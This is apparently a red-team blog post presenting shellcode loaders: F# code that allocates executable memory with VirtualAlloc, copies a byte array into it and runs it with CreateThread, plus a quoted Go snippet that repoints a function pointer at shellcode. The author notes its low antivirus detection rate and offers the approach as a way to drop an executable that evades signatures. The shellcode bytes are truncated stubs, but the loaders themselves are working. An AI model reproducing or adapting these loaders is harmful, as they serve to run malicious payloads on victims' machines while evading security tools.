F# Shellcode Execution

I decided to go ahead and try to execute shellcode from F# by generating an EXE. It currently gets 1/66 on VT, with CrowdStrike Falcon detecting it using heuristics potentially due to PInvoke.

Code repository: https://github.com/vysecurity/FSharp-Shellcode

F# Code:

open System.Runtime.InteropServices
open System.Threading

[<DllImport "kernel32" >]
extern nativeint VirtualAlloc(
  nativeint         lpStartAddress,
  uint32            dwSize, 
  uint32            flAllocationType, 
  uint32         flProtect)

[<DllImport "kernel32" >]
extern nativeint CreateThread(
  uint32         lpThreadAttributes,
  uint32            dwStackSize, 
  nativeint            lpStartAddress, 
  uint32&         param,
  uint32         dwCreationFlags,
  uint32&         lpThreadId)

[<DllImport "kernel32" >]
extern nativeint WaitForSingleObject(
  nativeint         hHandle,
  uint32         dwMilliseconds)

  
let mutable threadId : uint32 = (uint32)0
let mutable pInfo : uint32 = (uint32)0
let mutable shellcode : byte[] = [|0xfcuy;0xe8uy;0x89uy;|]

let address = VirtualAlloc((nativeint)0, (uint32)shellcode.Length, (uint32)0x1000, (uint32)0x40)

Marshal.Copy(shellcode, 0, address, shellcode.Length)
let hThread = CreateThread((uint32)0,(uint32)0, address, &pInfo, (uint32)0, &threadId)
WaitForSingleObject(hThread, (uint32)0xFFFFFFFF) |> ignore

This is potentially a decent language to turn to if we need an EXE on disk after Golang gets signatured more in the near future. If you're interested in using Golang instead, @evilsocket had posted this snippet before on Twitter: https://play.golang.org/p/AeOelp76n6

//
// As the shellcode is 32 bit, this must also be compiled as a 32 bit go application
// via "set GOARCH=386"

package main

import (
	"syscall"
	"unsafe"
)

var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")

func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
	ret, _, _ := procVirtualProtect.Call(
		uintptr(lpAddress),
		uintptr(dwSize),
		uintptr(flNewProtect),
		uintptr(lpflOldProtect))
	return ret > 0
}

func main() {
	var shellcode string = "\x31\xc9\x64\x8b\x41"

	// Make a function ptr
	f := func() {}

	// Change permsissions on f function ptr
	var oldfperms uint32
	if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Override function ptr
	**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&shellcode))

	// Change permsissions on shellcode string data
	var oldshellcodeperms uint32
	if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&shellcode))), uintptr(len(shellcode)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
		panic("Call to VirtualProtect failed!")
	}

	// Call the function ptr it
	f()
}

This blog post serves as a means for me to keep note of useful snippets, as well as to share with the community. I couldn't find any snippets readily available to do this whilst searching Google so I thought I'd share.

Last updated